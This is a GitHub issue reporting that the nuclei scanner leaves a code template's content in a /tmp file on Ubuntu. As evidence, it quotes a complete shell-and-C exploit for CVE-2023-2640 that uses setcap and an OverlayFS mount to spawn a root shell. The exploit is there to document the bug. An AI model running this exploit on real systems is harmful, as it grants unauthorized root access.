nuclei
nuclei copied to clipboard
Code template file creation / validation as default
Nuclei version:
dev / main
Current Behavior:
Code template being created in /tmp dir on Ubuntu.
cat /tmp/162753032
cd /tmp
echo '#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n if (setuid(0) != 0) {\n fprintf(stderr, "\\x1b[31mFailed to set UID to 0.\\x1b[0m\\n");\n return 1;\n }\n\n printf("Entering \\x1b[36mprivileged\\x1b[0m shell...\\n");\n if (system("/bin/bash -p") == -1) {\n fprintf(stderr, "\\x1b[31mFailed to execute /bin/bash -p.\\x1b[0m\\n");\n return 1;\n }\n\n return 0;\n}' > test.c
gcc test.c -o test
unshare -rm sh -c "mkdir -p l u w m && cp test l/ && setcap cap_setuid+eip l/test && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/test && u/test && id;"
Steps To Reproduce:
- Clean up /tmp
- Run
nuclei - See
ls /tmp
Notice file gets created with code template content https://github.com/projectdiscovery/nuclei-templates/blob/main/code/cves/2023/CVE-2023-2640.yaml
Need to investigate why code template file get created in /tmp location even code templates are not loaded / used as default.
Note: this is not reproducible on mac